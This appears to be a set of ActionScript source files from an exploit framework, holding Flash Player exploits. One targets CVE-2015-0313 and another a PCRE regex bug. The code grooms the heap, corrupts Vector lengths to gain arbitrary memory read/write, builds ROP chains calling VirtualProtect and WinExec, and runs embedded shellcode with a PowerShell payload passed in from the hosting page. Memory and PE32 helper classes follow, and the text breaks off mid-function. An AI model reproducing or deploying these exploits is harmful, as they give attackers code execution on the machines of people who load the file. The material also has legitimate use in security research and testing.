// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.events.Event
import flash.utils.ByteArray
import flash.system.Worker
import flash.system.WorkerDomain
import flash.system.MessageChannel
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var ov:Vector.<Object> = new Vector.<Object>(25600)
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var worker:Worker
private var mc:MessageChannel
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String = ""
public function Main()
{
if (Worker.current.isPrimordial) mainThread()
else workerThread()
}
private function mainThread():void
{
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
payload = b64.toByteArray().toString()
ba.length = 0x1000
ba.shareable = true
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<Object>(1014)
ov[i][0] = ba
ov[i][1] = this
}
for (i = 0; i < ov.length; i += 2) delete(ov[i])
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
mc = worker.createMessageChannel(Worker.current)
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
worker.setSharedProperty("mc", mc)
worker.setSharedProperty("ba", ba)
ApplicationDomain.currentDomain.domainMemory = ba
worker.start()
}
private function workerThread():void
{
var ba:ByteArray = Worker.current.getSharedProperty("ba")
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
ba.clear()
ov[0] = new Vector.<uint>(1022)
mc.send("")
while (mc.messageAvailable);
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
var main:uint = ov[0][0x409] - 1
var vtable:uint = vector_read(main)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
}
private function onMessage(e:Event):void
{
casi32(0, 1022, 0xFFFFFFFF)
if (ba.length != 0xffffffff) mc.receive()
else {
ba.endian = "littleEndian"
var data:Array = (mc.receive() as String).split("/")
byte_write(parseInt(data[0]))
var buffer:uint = parseInt(data[1]) as uint
var main:uint = parseInt(data[2]) as uint
var vtable:uint = parseInt(data[3]) as uint
var flash:uint = base(vtable)
var ieshims:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", ieshims)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -0,0 +1,704 @@
package
{
/*
To compile (AIRSDK + Flex):
mxmlc Main.as -o Main.swf -strict=false
*/
import mx.utils.Base64Decoder;
import flash.display.*;
import flash.utils.ByteArray;
import flash.external.ExternalInterface;
import mx.utils.Base64Decoder;
public class Main extends Sprite
{
private var i:int;
private var j:int;
private const OP_END:int = 0;
private const OP_ANY:int = 12;
private const OP_KET:int = 84;
private const OP_CBRA:int = 94;
private const OP_FAIL:int = 108;
private const OP_ACCEPT:int = 109;
private var testSubject:String = 'c01db33f';
private var subject:String = '';
private var count_576:int = 128;
private var pre_576:int = 4;
private var groom_576:Array = new Array(count_576);
private var count_re:int = 8;
private var source_re:Vector.<String> = new Vector.<String>(count_re);
private var compiled_re:Vector.<RegExp> = new Vector.<RegExp>(count_re);
private var subjects:Vector.<String> = new Vector.<String>(count_re);
private var count_504:int = 256 * 3;
private var pre_504:int = 30;
private var groom_504:Array = new Array(count_504);
private var junk:Array = new Array();
private var junk_idx:int = 0;
public static function Debug(message:String):void {
ExternalInterface.call('console.log', message);
}
public function MakeRegex(c:String):String {
var i:int;
var r:String = '(c01db33f|^(' + c + '*)'
for (i = 0; i < 39; ++i) {
r += '(A)';
}
r += '\\'
r += '41';
for (i = 0; i < 20; ++i) {
r += 'A';
}
r += '('
r += '\\'
r += 'c'
r += '\uc080'
r += '*)?(?70))';
return r;
}
public function MakeSubject(c:String):String {
var i:int;
var s:String = c;
for (i = 0; i < 0x80 - 0x3d; ++i) {
s += c;
}
for (i = 0; i < 60; ++i) {
s += 'A';
}
return s;
}
public function MakeByteArray(size:int):ByteArray {
var i:int = 0;
var b:ByteArray = new ByteArray();
b.length = size;
for (i = 0; i < size; ++i) {
b.writeByte(0x23);
}
return b;
}
public function Initialise():void {
for (i = 0; i < 8; ++i) {
subjects[i] = MakeSubject(i.toString());
source_re[i] = MakeRegex(i.toString());
}
}
public function CompileRegex():RegExp {
// heap groom the block of regex bytecode we want to follow our
// legitimate bytecode.
for (i = 0; i < count_576; ++i) {
var b:ByteArray = new ByteArray();
b.length = 576;
// regex nop sled :-p
for (j = 0; j < 500; ++j) {
b.writeByte(OP_ANY);
}
// this is the capturing bracket that find_bracket will be
// looking for to match (?70)
b.writeByte(OP_CBRA);
b.writeByte(1); // WORD length of group (only != 0)
b.writeByte(0);
b.writeByte(0); // WORD number of group (must == 70)
b.writeByte(70);
// we use OP_CBRA to write the current match length at one
// dword past the end of our offset_vector.
//
// this is due to another bug in pcre_exec where it is
// assumed that the group number is
// 0 < number < md->offset_max
// and it is only checked that group < md->offset_max, and
// then indexing is done backwards frm the end of the buffer,
// so a group number of 0 lets us index one dword past the end
// of the offset_vector.
b.writeByte(OP_CBRA);
b.writeByte(0); // WORD length of group
b.writeByte(0);
b.writeByte(0); // WORD number of group
b.writeByte(0);
// we're done with executing this regex for now.
b.writeByte(OP_ACCEPT); // yay a match :-)
b.writeByte(OP_KET); // closing KET for group (?70)
b.writeByte(OP_KET); // closing KET for exploit group
b.writeByte(OP_END);
b.writeByte(0);
groom_576[i] = b;
}
// make some gaps
for (i = 0; i < count_576; i += 2) {
groom_576[i].length = 0;
groom_576[i] = null;
}
for (i = 0; i < (pre_576 * 2); i += 2) {
groom_576[i] = MakeByteArray(576);
}
for (i = 0; i < count_re; ++i) {
try {
Debug('[*] compiling regex');
var re:RegExp = new RegExp(source_re[i]);
compiled_re[i] = re;
var match:Object = re.exec(testSubject);
if (match != null && match[0] == 'c01db33f') {
Debug('[*] compiled successfully');
subject = subjects[i];
return re;
}
else {
// that allocation was no good, fill with a bytearray
junk[junk_idx++] = MakeByteArray(576);
}
} catch (error:Error) {
Debug('[*] error compiling regex: ' + error.message);
}
Debug('[*] failed...');
}
Debug('[*] failed first groom');
return null;
}
public function negative(i:uint):uint {
return (~i) + 1;
}
public function CorruptVector(r:RegExp):Vector.<uint> {
var v:Vector.<uint> = null;
var uv:Vector.<uint> = null;
var ov:Vector.<Object> = null;
for (i = 0; i < count_504; ++i) {
v = new Vector.<uint>(124);
v[0] = 0xc01db33f
v[1] = i;
for (j = 2; j < 124; ++j) {
v[j] = 0x88888888;
}
groom_504[i] = v;
}
for (i = 0; i < count_504; i += 3) {
groom_504[i].length = 0;
groom_504[i] = null;
}
for (i = 0; i < pre_504; i += 1) {
junk[junk_idx++] = MakeByteArray(504);
}
v = null;
for (i = 0; i < 128; i += 3) {
try {
Debug('[*] executing regex');
r.exec(subject);
} catch (error:Error) {
Debug('[*] regex execution failed: ' + error.message);
}
for (j = 1; j < count_504; j += 3) {
if (groom_504[j].length != 124) {
Debug('[*] corrupted vector');
v = groom_504[j];
break;
}
}
if (v != null) {
break;
}
Debug('[*] failed...');
junk[junk_idx++] = MakeByteArray(504);
junk[junk_idx++] = MakeByteArray(504);
}
// at this point we have a vector with a corrupt length, hopefully
// followed by another vector of legitimate length.
if (v == null) {
Debug('[*] failed to groom for vector corruption');
return null;
}
if (v[126] != 0xc01db33f) {
Debug('[*] magic check failed!');
}
// read out the index of the following vector; this is the vector
// that we will use for the rest of the exploit
i = v[127];
uv = groom_504[i];
uv.fixed = true;
// corrupt the length of uv so that we can access all of memory :)
v[124] = 0xffffffff;
// first fix the length of the original corrupted array so we don't
// need to worry about it any more...
uv[negative(0x80)] = 0x6e;
// now read back 0x1f8 bytes before the first vector; this must be
// inside the original offset_vector that we overflowed, (so it is
// guaranteed to be safe) and this buffer is directly free'd at the
// end of pcre_exec. as it's quite a large allocation, we can be
// quite sure that it is still on the freelist and we can steal the
// freelist pointer from it, which will likely point to the block
// after our second vector.
uv[0] = uv[negative(0xfe)];
// we really can't do much sanity checking here; all we know is
// that this should be a pointer, and it will be 8 byte aligned.
if ((uv[0] & 0xf) != 0x8 && (uv[0] & 0xf) != 0 && uv[0] > 0x10000) {
Debug('[*] freelist ptr sanity check failed!');
uv[negative(2)] = 0x6e;
return null;
}
// uv[0] == address of our vector.<uint>'s buffer
uv[0] -= 0x1f0;
return uv;
}
public function FindGCHeap(m:Memory):uint {
// nothing much to say about this; we know that there's a
// FixedBlock at the start of the page that our vector is allocated
// on, and that holds a pointer back to the global GCHeap, which is
// a static singleton in the flash module. I've copied in the class
// declarations for the structures being traversed, for reference.
var fixed_block:uint = m.vector_base & 0xfffff000;
/*
struct FixedBlock
{
void* firstFree; // First object on the block's free list
void* nextItem; // First object free at the end of the block
FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator)
FixedBlock* prev; // Previous block on the list of blocks
uint16_t numAlloc; // Number of items allocated from the block
uint16_t size; // Size of objects in the block
FixedBlock *nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator)
FixedBlock *prevFree; // Previous block on the list of blocks with free items
-------> FixedAlloc *alloc; // The allocator that owns this block
char items[1];l // Memory for objects starts here
};
*/
var fixed_alloc:uint = m.read_dword(fixed_block + 0x1c);
/*
class FixedAlloc
{
private:
-------> GCHeap *m_heap; // The heap from which we obtain memory
uint32_t m_itemsPerBlock; // Number of items that fit in a block
uint32_t m_itemSize; // Size of each individual item
FixedBlock* m_firstBlock; // First block on list of free blocks
FixedBlock* m_lastBlock; // Last block on list of free blocks
FixedBlock* m_firstFree; // The lowest priority block that has free items
size_t m_numBlocks; // Number of blocks owned by this allocator
#ifdef MMGC_MEMORY_PROFILER
size_t m_totalAskSize; // Current total amount of memory requested from this allocator
#endif
bool const m_isFixedAllocSafe; // true if this allocator's true type is FixedAllocSafe
}
*/
var gcheap:uint = m.read_dword(fixed_alloc);
return gcheap;
}
public function FindPwned(m:Memory, gcheap:uint):uint {
// we're going to walk the heap to find it because we don't like
// being crashy. a lazier approach would be to spray a ton of
// objects and scan forward from our array; this is more reliable.
/*
class GCHeap
{
public:
-------> Region *lastRegion;
private:
...
};
*/
// I have no idea why this is at offset 4. GCheap is not virtual
// so perhaps the Flash code has changed since the github avmplus
// release.
var region:uint = m.read_dword(gcheap + 4);
/*
class Region
{
public:
Region *prev;
char *baseAddr;
char *reserveTop;
char *commitTop;
size_t blockId;
};
*/
while (region != 0) {
var region_base:uint = m.read_dword(region + 4);
var region_rtop:uint = m.read_dword(region + 8);
var region_top:uint = m.read_dword(region + 12);
if (region_rtop & 1 != 0) {
Debug('[*] this browser already got pwned, go away');
return 0;
}
m.write_dword(region + 8, region_rtop + 1);
// TODO: we can optimise here as we know the alignment of the
// magic values.
Debug(' [-] ' + region_base.toString(16) + ' ' + region_top.toString(16) + '[' + region_rtop.toString(16) + ']');
for (var ptr:uint = region_base; ptr < region_top - 16; ptr += 4) {
if (m.read_dword(ptr) == 0xdecafbad
&& m.read_dword(ptr + 4) == 0xdecafbad) {
// we have found our two magic values
return ptr - 0x10;
}
}
// region = region->prev;
region = m.read_dword(region);
}
return 0;
}
public function WriteShellcode(v:Vector.<uint>, i:uint, ptr:uint, fun:uint):void {
var myshellcode:Array = GetPayload();
// at this point we are sandwiched on the stack between the current
// frame and the previous frame; this is hazardous, we need to
// shift our stack back above the current frame or things will go
// wrong(tm).
v[i++] = 0x1000ec81; // 81ec00100000 sub esp, 0x1000
v[i++] = 0x90900000;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
// Our payload (see GetPayload)
for (var payload_i:int; payload_i < myshellcode.length; payload_i++) {
v[i++] = myshellcode[payload_i];
}
v[i++] = 0x90909090;
v[i++] = 0x90909090;
v[i++] = 0x90909090;
//v[i++] = 0xcccccccc; // Sort of handy for debugging purposes
// we just put things back how they were; at least, everything
// important. we need esp and ebp to be correct, which is easy;
// we need ecx to point to the object's vtable and then we can
// just jump to the actual method implementation as though we
// had hooked it.
v[i++] = 0x0bf8c481; // 81C4F80B0000 add esp,0xbf8
v[i++] = 0x90900000;
v[i++] = 0x1c24ac8d; // 8DAC241c120000 lea ebp,[esp+0x121c]
v[i++] = 0x90000012;
v[i++] = 0xb9909090; // B944434241 mov ecx, vtable_ptr
v[i++] = ptr;
v[i++] = 0xb8909090; // B844434241 mov eax, orig_function_ptr
v[i++] = fun;
v[i++] = 0x9090e0ff; // FFE0 jmp eax
}
public function GetPayload():Array {
// Grab the powershell payload from the sh parameter in the HTML file
var b64:Base64Decoder = new Base64Decoder();
var raw_psh_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh;
b64.decode(raw_psh_payload);
var psh_payload:String = b64.toByteArray().toString();
// This is generated from here:
// ./msfvenom -p windows/exec CMD=AAAA -f ruby -e generic/none
// The original souce can be found at: msf/externa/source/shellcode/single_exec.asm
var payload:String = "" +
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14" +
"\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59" +
"\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68" +
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + psh_payload + "\x00";
// Here we convert the binary string to an array of DWORDS
var arr:Array = new Array();
for (var d_counter:int = 0; d_counter < payload.length; d_counter+=4) {
var dword:String = payload.substring(d_counter, d_counter+4).split("").reverse().join("");
var hex:String = "";
for (var i2:int = 0; i2 < dword.length; i2++) {
var byte:String = dword.charCodeAt(i2).toString(16);
// The toString(16) conversion doesn't print zeros the way we want it.
// Like for example: for a null byte, it returns: '0', but the format should be: '00'
// Another example: For 0x0c, it returns 'c', but it should be '0c'
if (byte == '0') {
byte = "00";
} else if (byte.length == 1) {
byte = '0' + byte;
}
hex += byte;
}
var real_dword:uint = parseInt(hex, 16);
arr.push(real_dword);
}
return arr;
}
public function Main() {
i = 0;
Initialise();
var r:RegExp = CompileRegex();
if (r == null) {
return;
}
Debug("Corrupting Vector");
var v:Vector.<uint> = CorruptVector(r);
if (v == null) {
Debug("CorruptVector returns null");
return;
}
var m:Memory = new Memory(v, v[0], 0x6e);
// at this point we have an absolute read/write primitive letting
// us read and write dwords anywhere in memory, so everything else
// is a technicality.
// we need an exception handler from here, because we have a vector
// that's addressing the whole address space, and if anything goes
// wrong, we want to clean that up or things will get unpleasant.
try {
// first we follow some pointers on the heap back to retrieve
// the address of the static GCHeap object in the flash module.
// this is useful for two reasons; firstly it gives us a
// pointer into the flash module, but secondly (and more
// importantly) we can use the region lists in the GCHeap
// structure to safely scan the heap to find things.
var gcheap:uint = FindGCHeap(m);
if (gcheap == 0) {
return;
}
// now we can parse the flash module in memory, locate useful
// imports and find the stack adjust gadget that we need.
Debug('[*] scanning flash module for gadgets');
var p:PE32 = new PE32(m, gcheap);
Debug(' [-] ' + p.base.toString(16) + ' flash base');
var virtual_protect:uint = p.GetImport('KERNEL32.dll', 'VirtualProtect');
Debug(' [-] ' + virtual_protect.toString(16) + ' kernel32!VirtualProtect');
// Find this in Flash
// 81 c4 40 00 00 00 add esp, 40h
// c3 ret
var gadget_bytes:ByteArray = new ByteArray();
gadget_bytes.length = 7;
gadget_bytes.writeByte(0x81);
gadget_bytes.writeByte(0xc4);
gadget_bytes.writeByte(0x40);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0x00);
gadget_bytes.writeByte(0xc3);
var add_esp_40h_ret:uint = p.GetGadget(gadget_bytes);
var ret:uint = add_esp_40h_ret + 6;
Debug(' [-] ' + add_esp_40h_ret.toString(16) + ' add esp, 40h; ret');
Debug(' [-] ' + ret.toString(16) + ' ret');
// now we create an actionscript class that we can readily
// signature on the heap; we're going to find this object and
// overwrite its vtable pointer to gain control of execution.
Debug('[*] scanning heap to find pwned object');
var pwned:Pwned = new Pwned();
var pwned_ptr:uint = FindPwned(m, gcheap);
Debug('[*] pwned object: ' + pwned_ptr.toString(16));
if (pwned_ptr == 0) {
return;
}
// we have a pointer to the object; save the vtable pointer for
// replacement later and then create a new vtable containing
// our gadget at the correct offset for the 'Rop' function.
// object ptr is actually a ScriptObject* for our ClassClosure?
var object_ptr:uint = m.read_dword(pwned_ptr + 8);
var vtable_ptr:uint = m.read_dword(object_ptr + 18 * 4);
var method_ptr:uint = m.read_dword(vtable_ptr + 4);
var shellcode:uint = m.vector_base + 4;
WriteShellcode(v, 1, vtable_ptr, method_ptr);
// invoking the method first makes our life simpler; otherwise
// flash will go hunt for the right method, and recovery was
// quite messy.
var a:uint = 0x61616161;
pwned.Rop(
a, a, a, a, a, a, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, ret, add_esp_40h_ret);
// overwrite the method pointer
m.write_dword(vtable_ptr + 4, add_esp_40h_ret);
// fix up our vector length already, since we won't need it again.
m.Cleanup();
var PAGE_EXECUTE_READWRITE:uint = 0x40;
// where better to rop than the actual stack :-P
Debug('[*] getting ma rop on');
pwned.Rop(
// ret sled oh yeah!
// actually this is just me lazily making stack space so
// that VirtualProtect doesn't trample all over any of
// flash's stuff and make it have a sad.
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // 3f
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // 7f
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret, // cf
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
ret, ret, ret, ret, ret, ret, ret, ret,
virtual_protect, // BOOL WINAPI VirtualProtect(
shellcode, // ...
shellcode, // LPVOID lpAddress,
0x1000, // SIZE_T dwSize,
PAGE_EXECUTE_READWRITE, // DWORD flNewProtect,
m.vector_base, // LPDWORD lpflOldProtect
// );
0x41414141, 0x41414141);
Debug('[*] we survived!');
// no need to fix the vtable, as we only overwrote the pointer
// for the Rop method, and it won't get called again.
} catch (e:Error) {
Debug('[!] error: ' + e.message);
} finally {
// we *always* need to clean up our corrupt vector as flash
// will try to zero it out later otherwise...
Debug('[*] cleaning up corrupted vector');
m.Cleanup();
}
}
}
}

View File

@ -0,0 +1,150 @@
package
{
// some utilities to encapsulate using the relative read/write of the
// corrupt vector.<uint> as an absolute read/write of the whole address
// space.
public class Memory
{
public var vector:Vector.<uint>;
public var vector_base:uint;
public var vector_size:uint;
private static function negative(i:uint):uint {
return (~i) + 1;
}
public function Memory(v:Vector.<uint>, b:uint, s:uint) {
vector = v;
vector_base = b;
vector_size = s;
}
public function Cleanup():void {
// restore the correct size to our vector so that flash doesn't
// inadvertently trample on lots of memory.
vector[negative(2)] = vector_size;
}
public function read_dword(address:uint):uint {
var offset:uint = 0;
if (address & 0x3 != 0) {
// NB: we could read 2 dwords here, and produce the correct
// dword, but that could lead to oob reads if we're close to
// a page boundary. take the path of least danger, and throw
// for debugging.
throw 'read_dword called with misaligned address'
}
if (address < vector_base) {
offset = negative((vector_base - address) >> 2);
}
else {
offset = address - vector_base >> 2;
}
try {
return vector[offset];
} catch (e:Error) {
// we can't read at offset 0xffffffff, sometimes we will want
// to, but that is just life.
}
return 0;
}
public function read_byte(address:uint):uint {
var dword_address:uint = address & 0xfffffffc;
var dword:uint = read_dword(dword_address);
while (address & 0x3) {
dword = dword >> 8;
address -= 1;
}
return (dword & 0xff);
}
public function read_string(address:uint):String {
var string:String = '';
var dword:uint = 0;
while (address & 0x3) {
var char:uint = read_byte(address);
if (char == 0) {
return string;
}
string += String.fromCharCode(char);
address += 1;
}
while (true) {
dword = read_dword(address);
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
dword = dword >> 8;
}
else {
return string;
}
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
dword = dword >> 8;
}
else {
return string;
}
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
dword = dword >> 8;
}
else {
return string;
}
if ((dword & 0xff) != 0) {
string += String.fromCharCode(dword & 0xff);
}
else {
return string;
}
address += 4;
}
return string;
}
public function write_dword(address:uint, value:uint):void {
var offset:uint = 0;
if (address & 0x3 != 0) {
// NB: we could read 2 dwords here, and write 2 dwords, and
// produce the correct dword, but that could lead to oob reads
// and writes if we're close to a page boundary. take the path
// of least danger, and throw for debugging.
throw 'write_dword called with misaligned address'
}
if (address < vector_base) {
offset = negative((vector_base - address) >> 2);
}
else {
offset = (address - vector_base) >> 2;
}
vector[offset] = value;
}
}
}

View File

@ -0,0 +1,157 @@
package
{
import flash.utils.ByteArray;
public class PE32
{
private var m:Memory;
public var base:uint;
public var dos_header:uint;
public var nt_header:uint;
public var file_header:uint;
public var opt_header:uint;
private function FindBase(ptr:uint):uint {
ptr = ptr & 0xffff0000;
var dword:uint = m.read_dword(ptr);
while ((dword & 0xffff) != 0x5a4d) {
ptr -= 0x10000;
dword = m.read_dword(ptr);
}
return ptr;
}
public function ParseHeaders():void {
dos_header = base;
var e_lfanew:uint = m.read_dword(dos_header + 60);
nt_header = dos_header + e_lfanew;
var nt_magic:uint = m.read_dword(nt_header);
if (nt_magic != 0x00004550) {
dos_header = 0;
nt_header = 0;
return;
}
file_header = nt_header + 4;
var machine:uint = m.read_dword(file_header);
if ((machine & 0xffff) != 0x014c) {
dos_header = 0;
nt_header = 0;
file_header = 0;
return;
}
opt_header = nt_header + 24;
var opt_magic:uint = m.read_dword(opt_header);
if ((opt_magic & 0xffff) != 0x10b) {
dos_header = 0;
nt_header = 0;
file_header = 0;
opt_header = 0;
return;
}
}
public function GetImport(mod_name:String, fun_name:String):uint {
if (base == 0 || dos_header == 0) {
return 0;
}
var data_directory:uint = opt_header + 96;
var import_dir:uint = data_directory + 8;
var import_rva:uint = m.read_dword(import_dir);
var import_size:uint = m.read_dword(import_dir + 4);
if (import_size == 0) {
return 0;
}
var import_descriptor:uint = base + import_rva;
var orig_first_thunk:uint = m.read_dword(import_descriptor);
while (orig_first_thunk != 0) {
var module_name_ptr:uint =
dos_header + m.read_dword(import_descriptor + 12);
if (module_name_ptr != 0) {
var module_name:String = m.read_string(module_name_ptr);
if (module_name == mod_name) {
